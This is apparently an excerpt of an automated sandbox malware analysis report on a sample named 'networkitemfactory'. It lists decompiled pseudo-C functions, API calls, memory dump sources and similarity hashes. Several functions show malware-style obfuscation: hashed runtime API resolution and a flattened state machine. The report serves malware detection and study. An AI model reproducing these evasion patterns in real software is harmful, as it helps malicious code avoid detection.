C-Code - Quality: 58%

			E020B4620(void* __ebx, void* __edx, void* __ebp) {
				char _v16;
				void* __ecx;
				intOrPtr* _t2;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr* _t7;
				void* _t14;
				void* _t27;
				void* _t29;
				void* _t32;
				void* _t33;
				intOrPtr* _t37;

				_t36 = __ebp;
				_t13 = __ebx;
				_t2 =  *0x20be0d0;
				 *_t37 = 0x104;
				_t32 = _t14;
				_t27 = __edx;
				if(_t2 == 0) {
					_t2 = E020B3DD0(__ebx, E020B3E70(0xbb51e2dc), 0x6760de89, __ebp);
					 *0x20be0d0 = _t2;
				}
				_t33 =  *_t2(0x1000, 0, _t32);
				if(_t33 == 0) {
					return 0;
				} else {
					_t5 =  *0x20be33c;
					if(_t5 == 0) {
						_t5 = E020B3DD0(_t13, E020B3E70(0xbb51e2dc), 0xf01f7005, _t36);
						 *0x20be33c = _t5;
					}
					_t6 =  *_t5(_t33, 0, _t27,  &_v16); // executed
					_t29 = _t6;
					_t7 =  *0x20bde38;
					if(_t7 == 0) {
						_t7 = E020B3DD0(_t13, E020B3E70(0xbb51e2dc), 0x76fc23ac, _t36);
						 *0x20bde38 = _t7;
					}
					 *_t7(_t33);
					return _t29;
				}
			}

0x020b4620
0x020b4620
0x020b4621
0x020b4626
0x020b462e
0x020b4631
0x020b4635
0x020b4648
0x020b464d
0x020b464d
0x020b465c
0x020b4660
0x020b46c5
0x020b4662
0x020b4662
0x020b4669
0x020b467c
0x020b4681
0x020b4681
0x020b468f
0x020b4691
0x020b4693
0x020b469a
0x020b46ad
0x020b46b2
0x020b46b2
0x020b46b8
0x020b46bf
0x020b46bf

APIs

QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,3444DC2F,?,?,3444DC2F,?), ref: 020B468F

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: 93bf687582c45038aab5790246d28f47402024908f21f89f63ae5f506f3adcc9
Instruction ID: 238b7dbf1b581c58b8f25a9884bc7586231be5ede656bae39d25fa28acdcd9c5
Opcode Fuzzy Hash: 93bf687582c45038aab5790246d28f47402024908f21f89f63ae5f506f3adcc9
Instruction Fuzzy Hash: 8B016175B013005BE73BABB9A850BEB22C6AFD5651F24087AE515CB280EE749C405B91

Uniqueness

Uniqueness Score: -1.00%

Function 020B7010, Relevance: 1.5, APIs: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E020B7010(signed int __edx) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				void* _t15;
				void* _t16;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t28 = __edx;
				_t30 = E020B3460(_t16);
				if( *0x20bdd48 == 0) {
					 *0x20bdd48 = E020B3DD0(_t15, E020B3E70(0xbb51e2dc), 0xb290dbae, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x20be364; // 0x538ba8
				 *(_t17 + 0x10 + _t28 * 4) = _t6;
				_t7 =  *0x20bddc8;
				if(_t7 == 0) {
					_t7 = E020B3DD0(_t15, E020B3E70(0xbb51e2dc), 0x298e8809, _t31);
					 *0x20bddc8 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x20bdbec;
				if(_t9 == 0) {
					_t9 = E020B3DD0(_t15, E020B3E70(0xbb51e2dc), 0x632f374, _t31);
					 *0x20bdbec = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x020b7012
0x020b7019
0x020b7022
0x020b703a
0x020b703a
0x020b7040
0x020b7042
0x020b7048
0x020b704c
0x020b7053
0x020b7066
0x020b706b
0x020b706b
0x020b7072
0x020b7074
0x020b707b
0x020b708e
0x020b7093
0x020b7093
0x020b70a0

APIs

LoadLibraryW.KERNELBASE(00000000,?,3444DC2F,020B723F,?,3444DC2F,020B6587), ref: 020B7040

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 65dabab8adb2d7f2c706aa138f0117d0761c033399c7d9a27a17dcd8039269df
Instruction ID: 803585488e9994ea696e74f6fdc56fe177a414adf7e8eb6db98e997ac672b841
Opcode Fuzzy Hash: 65dabab8adb2d7f2c706aa138f0117d0761c033399c7d9a27a17dcd8039269df
Instruction Fuzzy Hash: F8014F34B543048BA77BAB75A850AEA66D7BFC6680B24086AE015CB390EA349C419F91

Uniqueness

Uniqueness Score: -1.00%

Function 020927B0, Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 020927D9

Memory Dump Source

Source File: 00000004.00000002.518992835.0000000002091000.00000020.00000001.sdmp, Offset: 02091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2091000_networkitemfactory.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d07987858a862a0fcc0286bf70475e96e3d81717c98dddaab20f2d49498ac143
Instruction ID: 56b6357fbdba43837e51779957142467a915b67b13bafdc1e651167a51e63571
Opcode Fuzzy Hash: d07987858a862a0fcc0286bf70475e96e3d81717c98dddaab20f2d49498ac143
Instruction Fuzzy Hash: EFD05EB4D40308FFEB00EFA4D90AB9DBBB4EB44305F108164E9066B240E6B02A14EF52

Uniqueness

Uniqueness Score: -1.00%

Function 02091820, Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0209182F

Memory Dump Source

Source File: 00000004.00000002.518992835.0000000002091000.00000020.00000001.sdmp, Offset: 02091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2091000_networkitemfactory.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4a9a4ef612acce1c7d5140fbb6215fe52ffbb065f6ed7ed9d9e5a8718d0bf9f3
Instruction ID: 0e4d97b1ec96611701f7d3b439aa80a6b3ee7e833a3ba08a6bc80d0c156c895e
Opcode Fuzzy Hash: 4a9a4ef612acce1c7d5140fbb6215fe52ffbb065f6ed7ed9d9e5a8718d0bf9f3
Instruction Fuzzy Hash: 91C04C7A55430CAB8B04DF98E894DAB37ADBB8C610B048548BA1D87200C634F920CBA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041989E, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041989E(short _a4, intOrPtr _a8) {
				short _t13;
				short _t28;

				_t28 = _a4;
				if(_t28 != 0 &&  *_t28 != 0 && E00418AEC(_t28, ?str?) != 0) {
					if(E00418AEC(_t28, ?str?) != 0) {
						return E0041CFA6(_t28);
					}
					if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_a4, 2) == 0) {
						L9:
						return 0;
					}
					return _a4;
				}
				if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_a4, 2) == 0) {
					goto L9;
				}
				_t13 = _a4;
				if(_t13 == 0) {
					return GetACP();
				}
				return _t13;
			}

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00419B64,?,00000000), ref: 004198E2
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00419B64,?,00000000), ref: 0041990C

Strings

OCP, xrefs: 004198C0
ACP, xrefs: 004198AF

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: cabdbbd5868a657c31b8c1cdf763834c51e0b95cee304dc5e2cd22d40fd77b4c
Instruction ID: c15aaa84b1a0d257b2612772592e480fa80fbb188541d3fbec629ad599b2e7d0
Opcode Fuzzy Hash: cabdbbd5868a657c31b8c1cdf763834c51e0b95cee304dc5e2cd22d40fd77b4c
Instruction Fuzzy Hash: 20018431214216ABDB10AF25DC51FD737A8AF05764B00842BFA08DA250EB68DDC18798

Uniqueness

Uniqueness Score: -1.00%

Function 020B1F60, Relevance: .2, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E020B1F60(intOrPtr* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __ebp;
				void* _t26;
				intOrPtr* _t28;
				intOrPtr* _t31;
				intOrPtr* _t32;
				intOrPtr* _t35;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr* _t42;
				signed int _t43;
				intOrPtr _t47;
				signed int _t48;
				intOrPtr* _t53;
				intOrPtr* _t57;
				intOrPtr* _t58;
				intOrPtr _t60;
				intOrPtr _t71;
				intOrPtr* _t79;
				intOrPtr _t88;
				void* _t89;
				intOrPtr _t91;
				intOrPtr _t93;
				intOrPtr _t94;
				intOrPtr* _t95;
				void* _t96;
				void* _t98;
				void* _t99;

				_t58 = __ecx;
				_t88 =  *((intOrPtr*)(_t96 + 0x1c));
				_t95 = __edx;
				 *((intOrPtr*)(_t96 + 0x10)) = __ecx;
				_t57 = 0;
				_t26 = 0x2e352190;
				while(1) {
					_t91 =  *((intOrPtr*)(_t96 + 0x18));
					goto L2;
					L3:
					if(_t98 == 0) {
						__eflags =  *((intOrPtr*)(_t58 + 4)) - 0x74;
						if( *((intOrPtr*)(_t58 + 4)) < 0x74) {
							goto L44;
						} else {
							_t26 = 0x37c7e221;
							goto L2;
						}
					} else {
						_t99 = _t26 - 0xdddee09;
						if(_t99 > 0) {
							__eflags = _t26 - 0x10271147;
							if(_t26 == 0x10271147) {
								_t35 =  *0x20bddc8;
								_t93 =  *((intOrPtr*)(_t58 + 4)) + 0xffffff8c;
								 *((intOrPtr*)(_t95 + 4)) = _t93;
								__eflags = _t35;
								if(_t35 == 0) {
									_t35 = E020B3DD0(_t57, E020B3E70(0xbb51e2dc), 0x298e8809, _t95);
									 *0x20bddc8 = _t35;
								}
								_t89 =  *_t35();
								_t37 =  *0x20bdcf0;
								__eflags = _t37;
								if(_t37 == 0) {
									_t37 = E020B3DD0(_t57, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t95);
									 *0x20bdcf0 = _t37;
								}
								_t38 =  *_t37(_t89, 8, _t93);
								 *_t95 = _t38;
								__eflags = _t38;
								if(_t38 == 0) {
									goto L44;
								} else {
									_t58 =  *((intOrPtr*)(_t96 + 0x10));
									_t91 =  *_t58;
									 *((intOrPtr*)(_t96 + 0x18)) = _t91;
									_t88 =  *((intOrPtr*)(_t58 + 4)) - 0x74;
									 *((intOrPtr*)(_t96 + 0x1c)) = _t91 + 0x74;
									_t26 = 0x10b81eb8;
									goto L2;
								}
							} else {
								__eflags = _t26 - 0x10b81eb8;
								if(_t26 != 0x10b81eb8) {
									goto L8;
								} else {
									_t42 =  *0x20bdcc8;
									__eflags = _t42;
									if(_t42 == 0) {
										_t42 = E020B3DD0(_t57, E020B3E70(0x60f9cb2), 0x91ee8387, _t95);
										 *0x20bdcc8 = _t42;
									}
									_t60 =  *0x20be360; // 0x53b7e8
									_t43 =  *_t42( *((intOrPtr*)(_t60 + 0x20)), 0, 0, _t96 + 0x14);
									_t58 =  *((intOrPtr*)(_t96 + 0x10));
									asm("sbb eax, eax");
									_t26 = ( ~_t43 & 0xfdfb6263) + 0x3def898;
									goto L2;
								}
							}
						} else {
							if(_t99 == 0) {
								_t79 =  *0x20bdfc0; // 0x0
								__eflags = _t79;
								if(_t79 == 0) {
									_t79 = E020B3DD0(_t57, E020B3E70(0x60f9cb2), 0x67562713, _t95);
									 *0x20bdfc0 = _t79;
								}
								_t47 =  *0x20be360; // 0x53b7e8
								_t48 =  *_t79( *((intOrPtr*)(_t47 + 0x1c)),  *((intOrPtr*)(_t96 + 0x24)), 1, 0,  *_t95, _t95 + 4);
								_t58 =  *((intOrPtr*)(_t96 + 0x10));
								asm("sbb eax, eax");
								_t26 = ( ~_t48 & 0x005926d4) + 0x1e121c8a;
								goto L2;
							} else {
								if(_t26 == 0x1da5afb) {
									_t53 =  *0x20be0f0;
									_t94 =  *_t95;
									__eflags = _t53;
									if(_t53 == 0) {
										_t53 = E020B3DD0(_t57, E020B3E70(0xe60124ba), 0x5006b8db, _t95);
										 *0x20be0f0 = _t53;
									}
									 *_t53(_t94,  *((intOrPtr*)(_t96 + 0x20)), _t88);
									_t58 =  *((intOrPtr*)(_t96 + 0x1c));
									_t96 = _t96 + 0xc;
									_t26 = 0xdddee09;
									continue;
								} else {
									if(_t26 == 0x3def898) {
										__eflags = _t57;
										if(_t57 == 0) {
											E020B4180(_t57,  *_t95);
										}
										L44:
										return _t57;
									} else {
										L8:
										if(_t26 != 0x2c2c94ba) {
											while(1) {
												L2:
												_t98 = _t26 - 0x11bb6a7c;
												if(_t98 > 0) {
													goto L29;
												}
												goto L3;
											}
											goto L29;
										} else {
											return _t57;
										}
									}
								}
							}
						}
					}
					L45:
					L29:
					__eflags = _t26 - 0x2e352190;
					if(__eflags > 0) {
						__eflags = _t26 - 0x37c7e221;
						if(_t26 != 0x37c7e221) {
							goto L8;
						} else {
							_t26 = 0x10271147;
							goto L2;
						}
					} else {
						if(__eflags == 0) {
							_t26 = 0x11bb6a7c;
							goto L2;
						} else {
							__eflags = _t26 - 0x1e121c8a;
							if(_t26 == 0x1e121c8a) {
								_t28 =  *0x20be14c;
								__eflags = _t28;
								if(_t28 == 0) {
									_t28 = E020B3DD0(_t57, E020B3E70(0x60f9cb2), 0x8e956c76, _t95);
									 *0x20be14c = _t28;
								}
								 *_t28( *((intOrPtr*)(_t96 + 0x14)));
								_t58 =  *((intOrPtr*)(_t96 + 0x10));
								_t26 = 0x3def898;
								goto L2;
							} else {
								__eflags = _t26 - 0x1e6b435e;
								if(_t26 != 0x1e6b435e) {
									goto L8;
								} else {
									_t31 =  *0x20bdd90; // 0x0
									__eflags = _t31;
									if(_t31 == 0) {
										_t31 = E020B3DD0(_t57, E020B3E70(0x60f9cb2), 0x8705ea, _t95);
										 *0x20bdd90 = _t31;
									}
									_t71 =  *0x20be360; // 0x53b7e8
									_t32 =  *_t31( *((intOrPtr*)(_t96 + 0x28)), _t91, 0x60,  *((intOrPtr*)(_t71 + 0x40)), 0, 0);
									_t58 =  *((intOrPtr*)(_t96 + 0x10));
									__eflags = _t32;
									_t26 = 0x1e121c8a;
									_t57 =  !=  ? 1 : _t57;
									goto L2;
								}
							}
						}
					}
					goto L45;
				}
			}

0x020b1f60
0x020b1f67
0x020b1f6b
0x020b1f6d
0x020b1f71
0x020b1f73
0x020b1f78
0x020b1f78
0x020b1f78
0x020b1f8b
0x020b1f8b
0x020b2141
0x020b2145
0x00000000
0x020b214b
0x020b214b
0x00000000
0x020b214b
0x020b1f91
0x020b1f91
0x020b1f96
0x020b2059
0x020b205e
0x020b20bd
0x020b20c2
0x020b20c5
0x020b20c8
0x020b20ca
0x020b20dd
0x020b20e2
0x020b20e2
0x020b20e9
0x020b20eb
0x020b20f0
0x020b20f2
0x020b2105
0x020b210a
0x020b210a
0x020b2113
0x020b2115
0x020b2118
0x020b211a
0x00000000
0x020b2120
0x020b2120
0x020b2124
0x020b2129
0x020b212d
0x020b2133
0x020b2137
0x00000000
0x020b2137
0x020b2060
0x020b2060
0x020b2065
0x00000000
0x020b206b
0x020b206b
0x020b2070
0x020b2072
0x020b2085
0x020b208a
0x020b208a
0x020b2094
0x020b20a1
0x020b20a3
0x020b20a9
0x020b20b0
0x00000000
0x020b20b0
0x020b2065
0x020b1f9c
0x020b1f9c
0x020b2001
0x020b2007
0x020b2009
0x020b2021
0x020b2023
0x020b2023
0x020b2029
0x020b2040
0x020b2042
0x020b2048
0x020b204f
0x00000000
0x020b1f9e
0x020b1fa3
0x020b1fc1
0x020b1fc6
0x020b1fc9
0x020b1fcb
0x020b1fde
0x020b1fe3
0x020b1fe3
0x020b1fee
0x020b1ff0
0x020b1ff4
0x020b1ff7
0x00000000
0x020b1fa5
0x020b1faa
0x020b2221
0x020b2223
0x020b2228
0x020b2228
0x020b2230
0x020b2236
0x020b1fb0
0x020b1fb0
0x020b1fb5
0x020b1f80
0x020b1f80
0x020b1f80
0x020b1f85
0x00000000
0x00000000
0x00000000
0x020b1f85
0x00000000
0x020b1fba
0x020b1fc0
0x020b1fc0
0x020b1fb5
0x020b1faa
0x020b1fa3
0x020b1f9c
0x020b1f96
0x00000000
0x020b2155
0x020b2155
0x020b215a
0x020b220c
0x020b2211
0x00000000
0x020b2217
0x020b2217
0x00000000
0x020b2217
0x020b2160
0x020b2160
0x020b2202
0x00000000
0x020b2166
0x020b2166
0x020b216b
0x020b21ca
0x020b21cf
0x020b21d1
0x020b21e4
0x020b21e9
0x020b21e9
0x020b21f2
0x020b21f4
0x020b21f8
0x00000000
0x020b216d
0x020b216d
0x020b2172
0x00000000
0x020b2178
0x020b2178
0x020b217d
0x020b217f
0x020b2192
0x020b2197
0x020b2197
0x020b219c
0x020b21b0
0x020b21b2
0x020b21b6
0x020b21bd
0x020b21c2
0x00000000
0x020b21c2
0x020b2172
0x020b216b
0x020b2160
0x00000000
0x020b215a

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22cb2e24a4e3ed94fb0825836ebd1f66f5a4d13b085726ca253514443c85870f
Instruction ID: 9909ffb63bd7afbabbde40162a4f44022112dffd3c3db0fd0c1b9a6f0729f2de
Opcode Fuzzy Hash: 22cb2e24a4e3ed94fb0825836ebd1f66f5a4d13b085726ca253514443c85870f
Instruction Fuzzy Hash: F061CC30B043069FCB379F649894AEAB6E2FF84204F644929E919DB390DB35DC11EB81

Uniqueness

Uniqueness Score: -1.00%

Function 0040BA7D, Relevance: 65.0, APIs: 32, Strings: 5, Instructions: 239
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0040BA7D(void* __edx, signed int* _a4) {
				signed int _v8;
				char _v16;
				char _v24;
				char _v122;
				char _v123;
				char _v124;
				char _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				char _v148;
				char _v156;
				char _v164;
				char _v172;
				char _v180;
				char _v188;
				char _v196;
				char _v204;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				intOrPtr* _t55;
				char* _t56;
				void* _t87;
				void* _t101;
				char _t110;
				intOrPtr _t116;
				char* _t133;
				intOrPtr _t151;
				signed int* _t152;
				signed int _t153;
				void* _t156;

				_t150 = __edx;
				_t53 =  *0x435040; // 0x35ed344a
				_v8 = _t53 ^ _t153;
				_t55 =  *0x4376d4; // 0x0
				_t152 = _a4;
				_t116 =  *_t55;
				_t56 = _t55 + 1;
				_t151 = _t116;
				 *0x4376d4 = _t56;
				_t156 = _t151 - 0x45;
				if(_t156 > 0) {
					if(_t151 <= 0x4a) {
						E00406FCF( &_v132, 0x7b);
						if(_t116 <= 2) {
							E004076FC( &_v132, E0040980B(__edx,  &_v180));
							E0040773F( &_v132, 0x2c);
						}
						_t151 = _t151 - 0x46;
						if(_t151 == 0) {
							L48:
							E004076FC( &_v132, E0040B56E(_t150,  &_v172));
							E0040773F( &_v132, 0x2c);
							goto L49;
						} else {
							_t151 = _t151 - 1;
							if(_t151 == 0) {
								L47:
								E004076FC( &_v132, E0040B56E(_t150,  &_v156));
								E0040773F( &_v132, 0x2c);
								goto L48;
							} else {
								_t151 = _t151 - 1;
								if(_t151 == 0) {
									L49:
									E004076FC( &_v132, E0040B56E(_t150,  &_v188));
								} else {
									_t151 = _t151 - 1;
									if(_t151 == 0) {
										goto L48;
									} else {
										if(_t151 == 0) {
											goto L47;
										}
									}
								}
							}
						}
						E00407674( &_v132, _t152, 0x7d);
					} else {
						if(_t151 == 0x51) {
							goto L7;
						} else {
							if(_t151 == 0x52) {
								L34:
								E0040C696(_t150,  &_v140, 0, 0);
								E0040B56E(_t150,  &_v132);
								 *_t152 = _v140;
								_t152[1] = _v136;
							} else {
								if(_t151 == 0x53) {
									 *_t152 =  *_t152 & 0x00000000;
									_t152[1] = 0;
									_t152[1] = _t152[1] & 0xffff00ff;
								} else {
									if(_t151 != 0x54) {
										goto L13;
									} else {
										goto L34;
									}
								}
							}
						}
					}
				} else {
					if(_t156 == 0) {
						E0040980B(__edx, _t152);
						goto L25;
					} else {
						_t151 = _t151;
						if(_t151 == 0) {
							 *0x4376d4 = _t56 - 1;
							goto L27;
						} else {
							_t151 = _t151 - 0x30;
							if(_t151 == 0) {
								E0040B56E(__edx, _t152);
								L25:
							} else {
								_t151 = _t151 - 1;
								if(_t151 == 0) {
									if( *_t56 != 0x40) {
										_push(E0040980B(__edx,  &_v204));
										_push(_t152);
										_t101 = E00407048( &_v148, "&");
										goto L19;
									} else {
										 *0x4376d4 = _t56 + 1;
										_push("NULL");
										goto L22;
									}
								} else {
									_t151 = _t151 - 1;
									if(_t151 == 0) {
										E0040B56E(__edx,  &_v132);
										E0040B56E(__edx,  &_v140);
										if(_v128 > 1 || _v136 > 1) {
											L27:
											_push(1);
											goto L14;
										} else {
											if(E0040B5E8( &_v132,  &_v123, 0x64) != 0) {
												_t110 = _v123;
												_v124 = _t110;
												if(_t110 != 0x2d) {
													_v123 = 0x2e;
												} else {
													_v123 = _v122;
													_v122 = 0x2e;
												}
												_push( &_v140);
												_push(_t152);
												_t101 = E00407674(E00407048( &_v196,  &_v124),  &_v164, 0x65);
												L19:
												E00407652(_t101);
											} else {
												goto L13;
											}
										}
									} else {
										if(_t151 != 0) {
											L13:
											_push(2);
											L14:
											E00407082(_t152);
										} else {
											L7:
											E0040B56E(_t150,  &_v132);
											if(( *0x4376e4 & 0x00004000) == 0) {
												L36:
												_t133 =  &_v16;
												_push( &_v132);
												_push( &_v140);
												if(_t116 != 0x44) {
													_push("`non-type-template-parameter");
												} else {
													_push("`template-parameter");
												}
												E00407652(E00407048(_t133));
												E004076B8( &_v140, _t152, "\'");
											} else {
												E0040B5E8( &_v132,  &_v24, 0x10);
												_t87 =  *0x4376ec(E0040F7EF( &_v24));
												if(_t87 == 0) {
													goto L36;
												} else {
													_push(_t87);
													L22:
													E00407048(_t152);
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return E004023FF(_t116, _v8 ^ _t153, _t150, _t151, _t152);
			}

APIs

DName::getString.LIBCMT ref: 0040BAFD

Part of subcall function 0040B5E8: _HeapManager::getMemory.LIBCMT ref: 0040B60B

Part of subcall function 0040F7EF: __wcstoi64.LIBCMT ref: 0040F7F9

DName::DName.LIBCMT ref: 0040BCCB
UnDecorator::getDecoratedName.LIBCMT ref: 0040BCDF
DName::operator+=.LIBCMT ref: 0040BCE9
DName::operator+=.LIBCMT ref: 0040BCF3
UnDecorator::getSignedDimension.LIBCMT ref: 0040BD10
DName::operator+=.LIBCMT ref: 0040BD1A
DName::operator+=.LIBCMT ref: 0040BD24
UnDecorator::getSignedDimension.LIBCMT ref: 0040BADE

Part of subcall function 0040B56E: DName::DName.LIBCMT ref: 0040B583

UnDecorator::getSignedDimension.LIBCMT ref: 0040BB26
UnDecorator::getSignedDimension.LIBCMT ref: 0040BB32
DName::getString.LIBCMT ref: 0040BB59
DName::DName.LIBCMT ref: 0040BB66
DName::DName.LIBCMT ref: 0040BBA5
DName::operator+.LIBCMT ref: 0040BBAC
DName::operator+.LIBCMT ref: 0040BBB3
DName::DName.LIBCMT ref: 0040BBCF
UnDecorator::getDecoratedName.LIBCMT ref: 0040BBE0
DName::DName.LIBCMT ref: 0040BBF3
UnDecorator::getSignedDimension.LIBCMT ref: 0040BBFB
UnDecorator::getDecoratedName.LIBCMT ref: 0040BC14
UnDecorator::getZName.LIBCMT ref: 0040BC4B
UnDecorator::getSignedDimension.LIBCMT ref: 0040BC54
DName::DName.LIBCMT ref: 0040BC9D
DName::operator+.LIBCMT ref: 0040BCA4
DName::operator+.LIBCMT ref: 0040BCB5
UnDecorator::getSignedDimension.LIBCMT ref: 0040BD30
DName::operator+=.LIBCMT ref: 0040BD3A
DName::operator+=.LIBCMT ref: 0040BD44
UnDecorator::getSignedDimension.LIBCMT ref: 0040BD50
DName::operator+=.LIBCMT ref: 0040BD5A
DName::operator+.LIBCMT ref: 0040BD65

Strings

`template-parameter, xrefs: 0040BC98
., xrefs: 0040BB86
NULL, xrefs: 0040BBC8
`non-type-template-parameter, xrefs: 0040BCBF
., xrefs: 0040BB80

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: Decorator::get$Name$DimensionSigned$Name::Name::operator+=$Name::operator+$Decorated$Name::getString$HeapManager::getMemory__wcstoi64
String ID: .$.$NULL$`non-type-template-parameter$`template-parameter
API String ID: 794994914-3945972591
Opcode ID: 1c2fea9a4649ad5569de1717745718e8fbf6f0c4d96ecaba2659b31418f3cf6a
Instruction ID: 201b8f6032eaa1f4d38bc2e805cd0a82f907350239d40423b13d8945d61c76b7
Opcode Fuzzy Hash: 1c2fea9a4649ad5569de1717745718e8fbf6f0c4d96ecaba2659b31418f3cf6a
Instruction Fuzzy Hash: 6B8180719045089AEB24E779CC56BEEB768EB11314F50447FE042B31D2DF7C6A448B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00401460, Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 231
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401460(void* __ecx) {
				signed int _v8;
				struct _SYSTEMTIME _v24;
				struct HDC__* _v28;
				signed int _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t60;
				signed short _t65;
				void* _t105;
				signed int _t109;
				signed int _t120;
				signed int _t123;
				signed int _t125;
				void* _t127;
				signed int _t128;
				struct HDC__* _t130;
				signed int _t133;
				signed int _t136;
				struct HDC__* _t137;
				signed int _t140;
				signed int _t141;

				_t60 =  *0x435040; // 0x35ed344a
				_v8 = _t60 ^ _t141;
				_t105 = __ecx;
				_t130 = GetDC( *(__ecx + 0x18));
				_v28 = _t130;
				GetLocalTime( &_v24);
				StretchBlt(_t130, 0, 0, 0x6f, 0x15,  *(_t105 + 0x10), 0xaa, 0, 2, 0x15, 0xcc0020);
				if( *((char*)(_t105 + 0x1c)) != 0) {
					_t65 = _v24.wHour;
					_t120 = _t65 & 0x0000ffff;
					if(_t65 > 0xc) {
						_t120 = _t120 - 0xc;
					}
					_t109 = (0x66666667 * _t120 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t120 >> 0x20 >> 2);
					_v32 = _t120 - _t109 + _t109 * 4 + _t109 + _t109 * 4;
					BitBlt(_t130, 2, 0, 0xd, 0x15,  *(_t105 + 0x10), _t109 * 0xd, 0, 0xcc0020);
					BitBlt(_t130, 0xf, 0, 0xd, 0x15,  *(_t105 + 0x10), _v32 * 0xd, 0, 0xcc0020);
				} else {
					_t128 = _v24.wHour & 0x0000ffff;
					_t140 = (0x66666667 * _t128 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t128 >> 0x20 >> 2);
					BitBlt(_v28, 2, 0, 0xd, 0x15,  *(_t105 + 0x10), _t140 * 0xd, 0, 0xcc0020);
					BitBlt(_v28, 0xf, 0, 0xd, 0x15,  *(_t105 + 0x10), (_t128 - _t140 + _t140 * 4 + _t140 + _t140 * 4) * 0xd, 0, 0xcc0020);
				}
				_t123 = _v24.wMinute & 0x0000ffff;
				_t133 = (0x66666667 * _t123 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t123 >> 0x20 >> 2);
				BitBlt(_v28, 0x23, 0, 0xd, 0x15,  *(_t105 + 0x10), _t133 * 0xd, 0, 0xcc0020);
